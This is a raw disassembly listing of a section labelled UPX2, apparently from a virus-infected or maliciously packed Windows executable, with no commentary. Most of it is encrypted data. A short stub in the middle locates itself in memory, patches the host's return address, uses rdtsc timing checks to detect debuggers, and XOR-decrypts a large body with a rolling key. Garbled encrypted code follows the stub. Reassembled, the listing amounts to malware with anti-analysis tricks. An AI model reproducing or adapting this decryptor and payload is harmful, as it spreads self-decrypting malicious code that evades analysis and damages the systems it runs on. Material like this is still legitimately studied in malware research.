		dd 0A1BE5B6Ch, 0FDB02AA4h, 0EA530208h, 8562FF50h, 26EECB28h
		dd 17F4A732h, 0E912BC65h, 35F9CD4Ch, 484BF804h,	8C2A87B4h
		dd 908C53FBh, 0A5EE9001h, 724E2B08h, 4DE1C494h,	0B2E33D60h
		dd 0AFF28FA0h, 391852CFh, 0D2102743h, 0B9567F29h, 46D26ABEh
		dd 0A22BBAFEh, 5D3AD708h, 0DEC6A580h, 0A6CF1EF7h, 1DEFB8Ch
		dd 626A4324h, 23B66396h, 65AE4AC1h, 1AB65C8h, 0FE9AB768h
		dd 100F3C0h, 8519108Eh,	0F13676F8h, 847B1C4h, 0E356F3E4h
		dd 0F9133C0Fh, 916E4BE8h, 0D47D7BCh, 1105AB22h,	69F88CD2h
		dd 6CB87B18h, 45D10834h, 5EACCBC0h, 65020B22h, 0C24B5A1Eh
		dd 7D5A7728h, 0BAE6B3A0h, 0FB4F3C61h, 2B265E20h, 0ED5691A9h
		dd 2C6DD1D0h, 32CBE99Ch, 516EF45Eh, 0B1CB14C7h,	694623C0h
		dd 4FFAF6Ch, 7CF5AA89h,	0F5F35F46h, 8D4CF026h, 4942DFFCh
		dd 9B2B6547h, 0E31A37E8h, 532B5CF7h, 0CF32CFE5h, 6B1B1539h
		dd 0D34AE7DDh, 0FB7E43E7h, 0C58E28A1h, 96D925A8h, 9DBA2345h
		dd 2A06E3BFh, 0B50DEB57h, 2886FBD8h, 48841208h,	1902246Dh
		dd 0E533207Ch, 884C2B08h, 0FDDAB755h, 4163501Fh, 336DABCFh
		dd 0A17E038Fh, 0C8A4E7C4h, 31307165h, 0A07C1C63h, 60092710h
		dd 1D4982F6h, 6E91FE62h, 75925BFDh, 2DEBB98h, 12F587B9h
		dd 1936DF81h, 9D825F3Ch, 89E8C93Ch, 42E59BE1h, 49E6CFF1h
		dd 0D7B28F6Ch, 6B7FA8F3h, 71318525h, 9F4E00C9h,	2BDE9B54h
		dd 0E17D66BFh, 1BE141BCh, 86AEAB22h, 69F96CCAh,	6CB87B18h
		dd 867A0A0Bh, 0CA3362C6h, 65425F30h, 854EAB88h,	57558734h
		dd 49F29C25h, 9F92902Ch, 45F654B5h, 0C6E76944h,	0F916B3A4h
		dd 892282C0h, 72DE66ECh, 6C52351Ah, 92E31D60h, 0DBD2EF80h
		dd 92DB2A6Fh, 2DEA0778h, 4D765330h, 167F8E0Bh, 0B18EAB7Ch
		dd 0D13AF7D4h, 0CCE1125Dh, 0C9320FECh, 8B4E4B7Dh, 34D17AABh
		dd 0F2542807h, 46893FDCh, 61D28C21h, 76F761ECh,	0D306A3D4h
		dd 0E983EC7Fh, 411EFB98h, 0C9B68724h, 9C669B92h, 0D9EB1C82h
		dd 7BA52B48h, 1D2D0FF6h, 0BD7FA016h, 0B08CCFECh, 0B56FD8EBh
		dd 2D09E704h, 0EC227450h, 39537C4Fh, 0D1AE8B28h, 5A86F7F4h
		dd 0E9C5E2D3h, 7A7E2F0Ch, 6C344B08h, 82DD233h, 0D9BF3D35h
		dd 1ECA4A3Ch, 7A3D8F00h, 91ABF427h, 49260320h, 0D35F8FECh
		dd 75179875h, 0E550A7C4h, 7C5FB350h, 967F78Bh, 818A0765h
		dd 15DA18B4h, 0C1DDED0h, 668A4DCEh, 0A7F5D998h,	25AA8E3Ch
		dd 0D9B693B8h, 0C01CC0FAh, 3A4B06D0h, 0C5343569h, 0B4C083B1h
		dd 12D8929Ch, 61EAFF3Dh, 0BE07B644h, 3916B3A4h,	0FAB27F5Ch
		dd 0E945DAEAh, 58B3C22Ch, 0E15DFBAFh, 72597F73h, 819E6476h
		dd 166834A5h, 927753F0h, 291E1B43h, 0A163D0C1h,	8AA1F714h
		dd 0C9664CE2h, 7EB08CD3h, 66E99BB8h, 6D0A33D5h,	0F9D6B3D0h
		dd 4D4D4110h, 11EA0D3Fh, 0EAF906E6h, 2946AC5Ah,	0FE0E764Ch
		dd 0A91EFBD9h, 0CDAA8771h, 276450A7h, 0D7F1E3C1h, 3D026722h
		dd 75474E94h, 12668335h, 55EB8531h, 0D9F52E38h,	0FC42EAA0h
		dd 0FC0D8B5Fh, 0FB162710h, 4625B2D3h, 5D7AF096h, 0F504A627h
		dd 9E10AC95h, 0C3DDBB58h, 0D3E7D02Ch, 0A4F61379h, 18F547ABh
		dd 310EEB48h, 0CCE4243Ch, 0EFAB7EABh, 2BB24F65h, 40685490h
		dd 9337321Fh, 456F3D9h,	3FE1C762h, 14202624h, 95FDD41Dh
		dd 0A9866420h, 36686BD7h, 569D7B58h, 4D6A204Ah,	0D2C4206Fh
		dd 51E61F3Ch, 534BA260h, 0FA5A3714h, 8EFDBFE2h,	9532885Ah
		dd 9CED9B7h, 7C9DB5C6h,	3270784Fh, 0FAA27F1Ch, 5D69F6DFh
		dd 0DEB11A7Fh, 751D2300h, 1E2C3C85h, 6513BD8h, 0DEAC8B1h
		dd 9284D02Fh, 0A6DCDFFCh, 0C0AB1270h, 3D1A8B59h, 0CB66FE60h
		dd 0A51ED2D3h, 0C0E85410h, 139F409Fh, 8D67359h,	85625BA1h
		dd 7B6BCEA8h, 0A07A174Dh, 0E90F7545h, 0D092FA4Ch, 0C311EF9Bh
		dd 0CDAA87B1h, 682E52B7h, 0E5C25BFBh, 738EAE08h, 0C6F693h
		dd 0C96F55A5h, 4C2A1ACh, 0E16701ADh, 65773EC4h,	13963325h
		dd 0CA253F61h, 0D1AE8B1Bh, 5D3A8B5Dh, 0F8896780h, 7552BB91h
		dd 0F6C03B98h, 8DF1C42Fh, 0DF6DD3B0h, 99414A3Dh, 46568318h
		dd 0AB30E2Fh, 49E6CC82h, 5AB17EA1h, 61FE444Eh, 0F6582483h
		dd 0FECF3350h, 522B8E2h, 16954B9Fh, 1D3AB0F2h, 2E8D5B0Eh
		dd 3552280Eh, 0C183D406h, 1F3A07E4h, 0D9996B43h, 23C71FFCh
		dd 0DC0F2674h, 6D183A12h, 421C40A7h, 911F4F6Ch,	0E1737h
		dd 0D146EE15h, 542DD4BCh, 571F069Bh, 712ECB11h,	0A608E4FBh
		dd 5F1E23C0h, 0D685A6BEh, 815E3B71h, 28EC1424h,	0A28447F3h
		dd 240A1EF3h, 0D0F14FC6h, 0C21D40AFh, 0C8E909EEh, 0D60E4373h
		dd 0E19ACCDBh, 3C5D7E04h, 7A9A0E9Bh, 85C21BE2h,	0E420EBA8h
		dd 817EE274h, 62986043h, 5E176F0Ch, 411E17CDh, 0D6B80463h
		dd 0BE5013B0h, 2BE9E521h, 5C5A6D07h, 0C314BBD2h, 0AA1DBE7h
		dd 15F2CFFAh, 0A17E5B3Dh, 5C1EA54Dh, 2E0BB67Ah,	4562F7A6h
		dd 0ED3BB23Ah, 0E03AD709h, 6DB9AAC8h, 75522F83h, 1A2C3811h
		dd 8D9047E4h, 8D639A62h, 2A829F71h, 958AE288h, 989A7754h
		dd 0B3D633A0h, 0D6585F6Bh, 613E1B10h, 62DD5544h, 7916403Ch
		dd 4D5F71Bh, 916B31ACh,	537760B4h, 36862349h, 0F50B4959h
		dd 0A32BF058h, 0FE2A47BDh, 0A9B6ED1Eh, 5ABEACF7h, 94DABC8h
		dd 79D63EEFh, 73E6C3A5h, 0EBDFC62Ch, 0FE9BA1h, 0ED57E7B9h
		dd 0F81E76D0h, 0C98FFB67h, 0D6A70BE8h, 0DDFA705Ah, 0AC455C0Fh
		dd 0CF23FF5Dh, 16018C1Ch, 0D2AE056h, 8E96C03Bh,	657FDFFCh
		dd 0B5DFE743h, 7629F7D4h, 27800D9h, 0A6030F2Ch,	0E1C173C9h
		dd 3CFA270Fh, 39A35305h, 8422BC1Ch, 11EA452Ch, 0AFF7E034h
		dd 6C06A3C9h, 0B5BB34C4h, 595576D8h, 0E17B0477h, 593613B0h
		dd 0EBAFAF7Ch, 6123A807h, 2FE9B7D4h, 7AB1041Fh,	9A7B305Fh
		dd 0A13E845Eh, 2DE6021Ch, 0B54DEE50h, 55877CDBh, 83DD8B28h
		dd 0EE0558F3h, 6E3FC4D3h, 759268BEh, 0CC49B2D7h, 0A2092026h
		dd 28DE062Dh, 0A88EA2EFh, 72E52498h, 3ECA7A7Ch,	0B2F12AE6h
		dd 0E25E0896h, 62320577h, 28510792h, 8D14AEDCh,	82F2819Bh
		dd 285103ECh, 0E8BBBAEDh, 698FFDC5h, 999B2CCh, 18D8B3Ch
		dd 4D82896Fh, 64759370h, 0E249CAC7h, 0B1F6E135h, 0ACE1CB14h
		dd 457A7CAFh, 0C16C414Dh, 4DFCCADEh, 0D95E1124h, 27DA47E4h
		dd 0C5D6D450h, 1A0D23DDh, 22CF98FBh, 5D46E0A8h,	0B821E493h
		dd 6513BE6h, 5C7D9E73h,	703B56A7h, 24C12505h, 0D0F149CCh
		dd 0C5CCAFh, 4D99B995h,	44658603h, 0F47D6A65h, 5DC62ED2h
		dd 0F6D9FA1Bh, 0C4AE12ECh, 0B0EB47A3h, 48896E8Fh, 0A8C8B818h
		dd 1D0E7687h, 54C1E202h, 0CD946F92h, 8CE13F0h, 0FD355677h
		dd 714E2B08h, 773F38D1h, 7266833Bh, 15F2D2A9h, 2C6CC25Ch
		dd 6DE3B919h, 9B0F4F50h, 825480BEh, 0B72B822Eh,	0D83A17F3h
		dd 47C5672Ah, 4549B0AEh, 0F75BB25Dh, 0E46A4723h, 0F9F6C16Fh
		dd 2A855F3Ch, 310EEEC1h, 0BF4EBA26h, 58463957h,	0D5B003F0h
		dd 0E2327EF8h, 0EDCBA81Dh, 27D02A10h, 9DE2BF9Ah, 30517165h
		dd 1FD959BFh, 73FD6340h, 3158F2DCh, 0C29E7BC0h,	0ABD238E4h
		dd 0C9395A86h, 256E0691h, 0C1EE1C88h, 3D6607A9h, 706DDA0h
		dd 0A92A27F5h, 142750h,	0ACB8E4DFh, 0DB453544h,	0B9D30C8Dh
		dd 0F6050BA8h, 0DDBA955Ch
		dd 6F9ECC00h, 0BDD2AF8Ch, 0E0F4E730h, 266751BFh, 1F769304h
		dd 192BC940h, 36066B88h, 3DDAC3FDh, 4EF1233Eh, 55F23BDDh
		dd 0E1BE9B70h, 0FACA3019h, 0F996BF67h, 3C1FEB1Dh, 511ABC2Dh
		dd 9D7A5A34h, 0A9ED6FC1h, 757E98C9h, 0D14AF8D8h, 0E1901CE4h
		dd 0D3313B0h, 0C0771F1Fh, 764E6B3Ch, 82252DE8h,	89260F31h
		dd 95F2CFACh, 3EFE546Ch, 2DCAF3ADh, 3C0F424Eh, 855B6581h
		dd 60868B68h, 0F50D2E48h, 6889A8C0h, 75504C34h,	0D7633698h
		dd 0E56A87FDh, 587997DAh, 0A789DB47h, 8685EBC8h, 0BD5A50A2h
		dd 4C2A2957h, 0C205F746h, 0E33182A3h, 0EDCAA819h, 9932ED91h
		dd 80C2BF9Ch, 94B81D92h, 27F9C38Ah, 0DA037230h,	35122FC0h
		dd 96AE7B58h, 59778CEEh, 64B6D344h, 25524489h, 0A86A5E88h
		dd 7D633EADh, 97338A0h,	88720F3Ch, 4FE8C1Dh, 84E6BA42h
		dd 79E20455h, 0C5A27F5Ch, 0B9AA02F8h, 6CBA9774h, 581EFBCFh
		dd 7085A6BDh, 4147D9ADh, 0C9844A4h, 9976C5B4h, 0D7AF6ABCh
		dd 3C8EAB71h, 0F79BE71Ah, 0C9A6A384h, 4DF83A8Ch, 0AAAD9DA7h
		dd 7836F903h, 39C6880Dh, 0A2E7CA1Ch, 23EE8BB8h,	818EE2E6h
		dd 395B403Fh, 38926F0Ch, 411E503Bh, 97318764h, 616C14E8h
		dd 1C3D4E7Bh, 4AC8A87Fh, 8225B7D4h, 89260F31h, 15F2CFECh
		dd 99A95D6Ch, 460EB9C3h, 27E3EC20h, 0C022BF15h,	0A1AF6357h
		dd 314B9447h, 0E906A340h, 777E2F0Ch, 692FC3CBh,	0DCFD1B78h
		dd 1CEAAE59h, 57A947ABh, 44D83CC4h, 3A53AEF8h, 8932C775h
		dd 240E026Ch, 0D32F1242h, 0EEF82611h, 0E1C3310h, 522ABC7h
		dd 43C7491Dh, 0F06858Ch, 114913B8h, 0A4C5C618h,	0CDD4F61Eh
		dd 0A41A51E3h, 9982A4F5h, 65421FFCh, 0F78F2098h, 0FAE32A69h
		dd 9A68C3Ah, 0A517CC2Bh, 0C87DDBF8h, 0AD8A6771h, 21D50ED0h
		dd 0AE14ECD7h, 0D8A70BA8h, 0DDBA9722h, 0E066E17Bh, 0B5BEE011h
		dd 815E3B18h, 0BFE51324h, 0D8FF7248h, 0A28939B7h, 0B14E54E2h
		dd 0F8A3FAB3h, 0D95CFE78h, 7EDC8C73h, 2BA79BB8h, 0E649FA0Ch
		dd 3BD7ABC6h, 0CDC1C22Ch, 2B6B46A8h, 0B57A174Dh, 2906BFCCh
		dd 7E9AB14Dh, 0CB6E3ED9h, 8D76AED9h, 4AB3E2F0h,	0E5C2DFB0h
		dd 55E2B08h, 9A5FBA96h,	3F668310h, 466F3EACh, 0A17E1B2Ch
		dd 820AE9C4h, 70D0B944h, 854EF061h, 0D5AE8B68h,	0D734A4F4h
		dd 0A9D27315h, 0A6CF1E0Ch, 1DEFB8Ch, 626A47E4h,	1BF14DA7h
		dd 0FB80C9FAh, 3A659AA6h, 0FFA876DAh, 2B500576h, 3900C21Fh
		dd 0F0DA3D6Fh, 7A495F82h, 79163C42h, 7D5EC69Ch,	3051728Fh
		dd 5D136949h, 0EDF36A40h, 0A4122FC1h, 8187D1CDh, 5997DEE4h
		dd 66B6D345h, 257B7989h, 935B2088h, 2E5A772Dh, 8E6DDCEh
		dd 0D56B1DA1h, 0B98B42B8h, 7C8A2719h, 79DFA125h, 0B12FB65Ch
		dd 0DE2ECB1Dh, 1DD25D09h, 3BD32A00h, 0CBD2EF85h, 96CAC843h
		dd 0B269C764h, 99B65CE2h, 256AA2BCh, 6E8E6B48h,	5A9BF83Ah
		dd 0C9665699h, 16357F44h, 21CB1BFDh, 308AA404h,	0A9D9EB0Fh
		dd 5DF8027h, 0D4EE8BBDh, 777A4751h, 0FEA70C0h, 0B16EE3CDh
		dd 344B6C74h, 1C666F04h, 5E43DAFBh, 1439D564h, 909CC3F3h
		dd 0DBBB4E6Fh, 0DF2E18EBh, 3A6AE1A0h, 17E5B38h,	0FC1D846Ch
		dd 445F40DBh, 0C252DBA0h, 11D6411Dh, 556AA2F4h,	0EFCC2462h
		dd 4B2FA20Ah, 60DEBB30h, 6726D224h, 582605B0h, 65AF17D1h
		dd 394A6EC8h, 8C4E4DD5h, 4CF327EBh, 0ADAECDEBh,	406186CFh
		dd 0BCDD7E2Ch, 0F195149Bh, 5E2BF90h, 8016BC7Fh,	0B5FAD7B4h
		dd 0A9866330h, 0DD120F0Ah, 0C19E7B48h, 4D2A0A0Ch, 0D9925570h
		dd 615E6B89h, 94D8145h,	1D534B14h, 9E6C378h, 0B93EDA2Ch
		dd 1B75A0A8h, 0C179CCC5h, 322EF310h, 0E695B6C1h, 532E0726h
		dd 0E3B59873h, 0C668AB05h, 0AC9180C5h, 0F3303BC3h, 43E3h
		dd 1A27h dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+2FE3h], ebx
		test	dword ptr [eax+28A0h], 80000000h
		mov	ebx, [esp+4]
		jz	short loc_3143104B
		pop	ecx
		mov	[eax+2FE7h], esi
		mov	[eax+2FEBh], edi
		cmp	byte ptr [eax+28A4h], 0E8h
		jnz	short loc_31431042
		add	ebx, [eax+28A5h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_3143104A
; ---------------------------------------------------------------------------


loc_31431042:				; CODE XREF: UPX2:31431033j
		mov	ebx, [eax+28A6h]
		push	dword ptr [ebx]


loc_3143104A:				; CODE XREF: UPX2:31431040j
		pop	ebx


loc_3143104B:				; CODE XREF: UPX2:3143101Dj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 8E05h
		sub	ebp, 361005h
		mov	edi, [esp+4]
		lea	esi, [ebp+3638B0h]
		mov	ecx, 9Bh
		rep movsb
		call	sub_314310C0
		mov	ecx, eax
		call	sub_314310C0
		sub	eax, ecx
		jz	short loc_31431094
		cmp	eax, 100h
		ja	short loc_31431094
		lea	eax, [ebp+3610D3h]
		mov	dl, [eax-10h]
		call	sub_314310C4	; CODE XREF: UPX2:314310D5j
		jmp	short loc_314310D3
; ---------------------------------------------------------------------------


loc_31431094:				; CODE XREF: UPX2:3143107Bj
					; UPX2:31431082j
		test	dword ptr [ebp+3638A5h], 80000000h
		jz	short loc_314310BE
		lea	esi, [ebp+3638A9h]
		mov	edi, [esp+4]
		movsb
		movsd
		mov	esi, [ebp+363FECh]
		mov	edi, [ebp+363FF0h]
		mov	ebx, [ebp+363FE8h]


loc_314310BE:				; CODE XREF: UPX2:3143109Ej
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_314310C0	proc near		; CODE XREF: UPX2:3143106Dp
					; UPX2:31431074p
		rdtsc
		retn
sub_314310C0	endp

; ---------------------------------------------------------------------------
		db 0D2h

; =============== S U B	R O U T	I N E =======================================



sub_314310C4	proc near		; CODE XREF: UPX2:3143108Dp
		mov	dh, dl
		mov	ecx, 27D2h


loc_314310CB:				; CODE XREF: sub_314310C4+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_314310CB
		retn
sub_314310C4	endp

; ---------------------------------------------------------------------------


loc_314310D3:				; CODE XREF: UPX2:31431092j
		push	ebx
		inc	edi
		jbe	short near ptr loc_3143108D+2
		in	eax, 13h
		aas
		jmp	short loc_31431108
; ---------------------------------------------------------------------------
		db 60h,	6Eh
; ---------------------------------------------------------------------------


loc_314310DE:				; CODE XREF: UPX2:31431120j
		mov	cl, 0D9h
		or	[esi-5Fh], al
		sbb	esp, eax
		xchg	eax, edi
		push	3B31793Ah
		inc	ecx
		push	edi
		les	ebp, gs:[ebp+ebx-6EA8EFAAh]
		pop	edx
		add	ecx, [edx]
		push	esp
		std
		add	ebp, [ecx]
		push	es
		xchg	ax, bx
		mov	al, ds:63938DA4h
; ---------------------------------------------------------------------------
		dd 1C6BD5A9h
; ---------------------------------------------------------------------------


loc_31431108:				; CODE XREF: UPX2:314310DAj
		int	66h		; reserved for user interrupt
		repne mov dh, 0C4h
		adc	esi, [ecx]
		mov	esp, [ebx+ebp*4-6D9ACE11h]
		mov	esp, 49D48E9Fh
		mov	edi, 0E54AF77h
		ja	short loc_314310DE
		test	[ebx], ch
		inc	edi
		in	eax, 0E7h
		or	eax, 78BB1088h
		enter	0FFFF83A5h, 0C1h
		sub	[ecx-3Dh], ch
		popa
; ---------------------------------------------------------------------------
		dd 0DA083A8Ch, 4D3C3DACh, 0BD0A387h, 0D78C6A52h, 2CD70584h
		dd 79361B45h, 8750E622h, 91002E5Ch, 6E2913D6h, 7E6FB89h
		dd 0AA99725Ah, 7BF6B12Fh, 0C53DC41h, 82BD360Ch,	0AFBF2654h
		dd 612122E8h, 28FAF390h, 0F1D08C43h, 6F91908Bh,	3256B5F2h
		dd 7AAB15ECh, 0CD309B4Ch, 0F5C76510h, 0C77FFE23h, 9AFECD6Ah
		dd 671FFEE9h, 2A588535h, 678C737Ch, 0CFE91672h,	0EA85A198h
		dd 0B47890EBh, 0A4D5C291h, 5E8DB964h, 0C95048B9h, 0EE3D45F3h
		dd 0B2E03829h, 0EF5CF307h, 0C1709EFAh, 0BCAD9EB1h, 77832E5Ch
		dd 1A7E63D8h, 0E756E9ECh, 0AAEE14E5h, 0A095C77Dh, 0B768A0FFh
		dd 0B4A52EB9h, 47311554h, 247B3021h, 0B2A807E4h, 0A2D0FDA0h
		dd 748DB92Bh, 0F360B887h, 0FEA7C9ECh, 0C2F01E98h, 602C211Fh
		dd 3A43AD9Ch, 92C8E624h, 0D946BBE5h, 23308682h,	18A0CE8Ch
		dd 6C7DE944h, 873068B7h, 0A4FCA914h, 5C0EE1Eh, 0CA0883E9h
		dd 0CDDB7E9Ah, 6A94C54Dh, 0B20D8F3Ch, 77286094h, 7462CF59h
		dd 751D1514h, 0F2ECADBEh, 12228A2Fh, 0EFC97EDFh, 9CC33FA1h
		dd 798BBD7Ch, 2A3F1F38h, 0D5AC99F2h, 0CBF8253Ch, 44D5919Ch
		dd 0D98880DFh, 6255DEE8h, 0E887C27Bh, 58F78EBCh, 12A9BC04h
		dd 42F01A4Ch, 0B3866FCh, 41551DCh, 1FC8C01Fh, 609431ACh
		dd 405886B6h, 72C89EFCh, 0D0E81244h, 0ED89F8Ch,	1A79CC83h
		dd 93C0EF74h, 8C9DC964h, 4A504897h, 6A99C6FEh, 89B69BC3h
		dd 0FFC056B2h, 0AB709ECCh, 8AB8E445h, 31592E36h, 0E5421CAEh
		dd 54AB7479h, 6929ED34h, 0C956F3FFh, 356896F2h,	82B2EA88h
		dd 0CAFECE54h, 460E6E9Ch, 5AC4FAA0h, 99426BD3h,	5F954642h
		dd 32569976h, 0C7251F37h, 0C2C62592h, 0E2AB6825h, 5280ACA8h
		dd 0A6DA4BA7h, 0ED103E5Ah, 2A5A8630h, 902545FCh, 45E8207Fh
		dd 87BF5FFCh, 4A4E9128h, 0A93A6B97h, 0AAF73652h, 6BD5F1ADh
		dd 0E198F0CCh, 84DBE8B9h, 0FB58A984h, 7A201B43h, 733E622h
		dd 0D23615B6h, 6BB76C47h, 3F1531EDh, 21D8300Ch,	0C41BBCF1h
		dd 0C56175C4h, 73FDF7Dh, 0CACE1E3Eh, 1241D674h,	32353BE4h
		dd 29D0C810h, 1C182CBBh, 36107165h, 10AB3787h, 95091D0Ch
		dd 125266FEh, 47571B51h, 8371F612h, 6F103E6Ch, 0D5A6CBB0h
		dd 0D9C63103h, 0BAA512C9h, 64305E8Ch, 4E3F2B7Fh, 1F24DCB7h
		dd 0EC3322F1h, 0AB36D2ACh, 0E933A0F6h, 47020CFEh, 0FA42820Fh
		dd 420097A4h, 0E0746D14h, 0B8C4A55Ch, 1A481EA4h, 22FAB6ECh
		dd 0A4B25465h, 1CB5B12Ch, 6268A0FFh, 0EAF01A8Fh, 0CAF8565Dh
		dd 122ABA17h, 1AE27A6Fh, 0A0BAFE46h, 82182C26h,	3260FEB5h
		dd 10F9D66Eh, 570F4EB3h, 0A0E5D62h, 0AD05F783h,	9BCF722Bh
		dd 579D3E6Ch, 2A6E96B4h, 72ACCD45h, 49079D44h, 2DDDF29h
		dd 0C77890C4h, 0A4D4D999h, 8AE8C964h, 487014F8h, 940D390Bh
		dd 37E03807h, 0CE5D0944h, 4271D024h, 8AA90E14h,	0B7532E5Ch
		dd 6F2A13E0h, 0BE2EE8Bh, 0CFB46F42h, 0A5202B1Bh, 3A6DD92Ch
		dd 0EE05210Ch, 35F8106Bh, 247BEC09h, 0CF77E1E4h, 0A2E6C56Ah
		dd 0E872461Eh, 9161B43h, 5211D632h, 55F01E4Dh, 6B187BFh
		dd 0ADD7FAF8h, 0ACF34CB1h, 61E60D6Ch, 1C64D011h, 25F4CEFCh
		dd 815683BBh, 0C2B55EBAh, 0C93EC0A0h, 7CB2EAE2h, 0D22C429Bh
		dd 83A7EC6h, 512E530Bh,	72650E0Ah, 12BB8AF0h, 42709B4Bh
		dd 69292F27h, 84851766h, 6F484098h, 46EC3FDEh, 0D8AB6510h
		dd 73083A0Fh, 3A660B05h, 0D2E48E0Ch, 9AA87702h,	7CD591CFh
		dd 0DF8880DFh, 0ADA4A7ECh, 0E23C328Bh, 0E360B33h, 0BF40D632h
		dd 910FE1B1h, 317EF36Bh, 0DC6BAEEAh, 9BE032A5h,	1D473E6Ch
		dd 1C63C021h, 343531FCh, 53E8207Fh, 0FDCFA5E4h,	4A12FCD4h
		dd 92AAEE76h, 0DB60360Eh, 0A9507AACh, 3A98AC30h, 766B0256h
		dd 827EB47Bh, 4270AA93h, 50502F27h, 5FFFD1A3h, 2C5D3031h
		dd 33C1ECECh, 0E04DF964h, 71207847h, 0AAABB600h, 82E88654h
		dd 0CAF8165Dh, 124060F4h, 5A88B6E5h, 0A2D0FE2Ch, 0EA184674h
		dd 3260A619h, 7AA8D604h, 3DA3481Dh, 3C033401h, 0FED905DCh
		dd 61BD36A0h, 6FD3D08Eh, 1C41F721h, 0E75F9CFCh,	0BADE2DEEh
		dd 3D5CDB05h, 5C90A6E2h, 0DEC0EE1Ch, 0AF63590Bh, 4B222EDCh
		dd 0FF4AF82h, 0D3B66B5Bh, 0BB4D23E8h, 0D78FCECCh, 8A8EDD46h
		dd 0ED70ABD5h, 468B7692h, 7E3DFAEh, 0CFB5677Ah,	98420118h
		dd 491CF5A1h, 0D1C48850h, 0CA8C4531h, 60341DF0h, 5AE6D388h
		dd 0C3B58C6Fh, 835E2300h, 3221EBD0h, 1BCDA447h,	0ABB67B38h
		dd 6B7503F8h, 3CE9DEACh, 0D9C8B743h, 96715B1Eh,	452AD6D1h
		dd 1D3AB9Fh, 0C8AB1605h, 67443FE9h, 2515C386h, 0FA948B68h
		dd 0BE695316h, 47223DACh, 3EFDB295h, 0D3857C54h, 886B56E0h
		dd 2704FFA9h, 0E6D78940h, 0A26C4B34h, 741B4497h, 0AE3CE8Dh
		dd 0EFD8725Bh, 0A6542704h, 5B0DE4ACh, 0EBF6DE68h, 0A3AC4338h
		dd 7D140BF1h, 2EFBCFB7h, 0CB849349h, 0AC182319h, 7E05EBCEh
		dd 1BDAB46Dh, 85F0673Eh, 637E12F1h, 26C1CBB0h, 0F8A18450h
		dd 91754A19h, 4F1F86F5h, 1EC98888h, 0C0814521h,	67775EE9h
		dd 2611E0A0h, 0FFA9BA79h, 0BF4F3601h, 463F33D8h, 22FDAA81h
		dd 0DE84605Dh, 0BD2817E1h, 2724EAA9h, 0E3FE9679h, 0B34E4B30h
		dd 1A0913C9h, 36E4DBABh, 0FAA86B51h, 0B3483A1Dh, 4E0DD1C4h
		dd 0F1C2BB5Ah, 0CA96493Dh, 44340BDBh, 33FBC481h, 0DA959043h
		dd 8F5F4635h, 5E0FD8C8h, 33CDBB71h, 0B09F7822h,	634C07F9h
		dd 52C1C0B3h, 0FEA99968h, 90725720h, 6B21F4D5h,	2C183FCh
		dd 0CD8D7F12h, 6B7638C3h, 578C3B8h, 0D4AE8B6Ch,	976D5A0Dh
		dd 4B200ECDh, 6AD9A19Ah, 0DC857E73h, 994724D4h,	4203EDA9h
		dd 0E9D79444h, 0E1735D39h, 68213096h, 3290CA9Fh, 0CFBB6946h
		dd 0C0133D0Fh, 4E10F38Ah, 0F6D58D0Ch, 0AF944F12h, 60341ADDh
		dd 2EFDD48Dh, 0A2918D49h, 0AC6C2327h, 6605E2D5h, 7ACDBB6Dh
		dd 0A795721Fh, 736B66E4h, 3FE5DAAFh, 0FFA59F70h, 8B565138h
		dd 430CE3D8h, 27A0AB91h, 0CA897B2Ah, 755537DAh,	233EC09Bh
		dd 0C4C08B70h, 0AF7C440Dh, 4E1112CDh, 6AFBA998h, 0C6897C6Bh
		dd 964110E1h, 363E9EA9h, 0FFD28255h, 0A0505A2Fh, 762100CDh
		dd 11F5D989h, 0CFB36960h, 866E4E12h, 5B0DE487h,	0EBF6BB78h
		dd 84F84338h, 77322DE8h, 0AEDC285h, 0C7B3915Eh,	0A4183507h
		dd 5712CDC8h, 2ACDA265h, 0A793713Eh, 727D15E7h,	11F4E0DCh
		dd 0EEA99356h, 81756D09h, 4437EFC0h, 31D480FCh,	0CE897336h
		dd 67430BE9h, 250AF6A6h, 0E1B38B7Fh, 977C7864h,	4B060ECDh
		dd 0CD7B191h, 0C6836B6Fh, 0FA4639EDh, 323FEA82h, 0E3FE8871h
		dd 9C004B30h, 7F3839D0h, 0DE2EE82h, 0D9AB6357h,	974B2128h
		dd 4E2696AAh, 0ECD5AE43h, 0BE9B4307h, 122E01F5h, 28D8C2AAh
		dd 0C1B58A43h, 98711000h, 5E01FBC8h, 15C5B349h,	8CF0673Eh
		dd 6F4D37E0h, 3CC9D7AEh, 0F7BA9942h, 8D794A0Dh,	4137D2DAh
		dd 3CA0A099h, 0D39A4130h, 6B663BF8h, 2B0DD2A6h,	0FFA5A370h
		dd 0DA71440Bh, 773C0AFEh, 5FBAF9Ah, 0C6B36B58h,	9D463FF6h
		dd 2C31F198h, 0FEEB8F67h, 0B56E472Eh, 5B1B21A4h, 10F1CABFh
		dd 0AAA87340h, 814F221Fh, 5907E5A1h, 82C4BB67h,	0A4964937h
		dd 12340DF9h, 32FCD383h, 0C0A48D43h, 8779280Dh,	57128ED9h
		dd 9A8A067h, 0C2947029h, 615B09E7h, 1B80DAB9h, 0E8AD824Ah
		dd 0A1645B02h, 4F2BE9D8h, 16CEAFB4h, 0F3E87328h, 70552AE2h
		dd 0D0CC3BAh, 0FD839A79h
		dd 0B96D580Ah, 71341BD8h, 0FECA780h, 0C68E473Ch, 9F4624E1h
		dd 2700D1B8h, 0C3B8A77Ah, 0A0655A32h, 553C13CAh, 37FEDB9Ch
		dd 0AA996A46h, 97542035h, 4E0DF8B6h, 0E6D1BB5Eh, 0AF944F12h
		dd 44042F9Ch, 69C1E6A5h, 0EE94D01Eh, 8F4A4638h,	5D0CCDDBh
		dd 1FE3B377h, 0A7A21E35h, 6F4829F3h, 2BE5E5B2h,	9A898E61h
		dd 0B3775B3Eh, 532AE3C1h, 7CCAFAAh, 0FB905321h,	65550C8Ch
		dd 1C0CC387h, 0F7B5827Dh, 0DA494E21h, 48A64DFAh, 0E1CE90F6h
		dd 0E0E164E8h, 0AC30247Bh, 7D000B33h, 4E33E622h, 8256780Ah
		dd 23889F2h, 594E2B13h,	6E5B0602h, 0FAE2106Ch, 0C1211BC4h
		dd 0EAE11627h, 22F82654h, 11642211h, 5FE2B68Eh,	0C883AE7Dh
		dd 0BAD4CD71h, 66305A37h, 28F9966Eh, 0C465E11Fh, 893850A8h
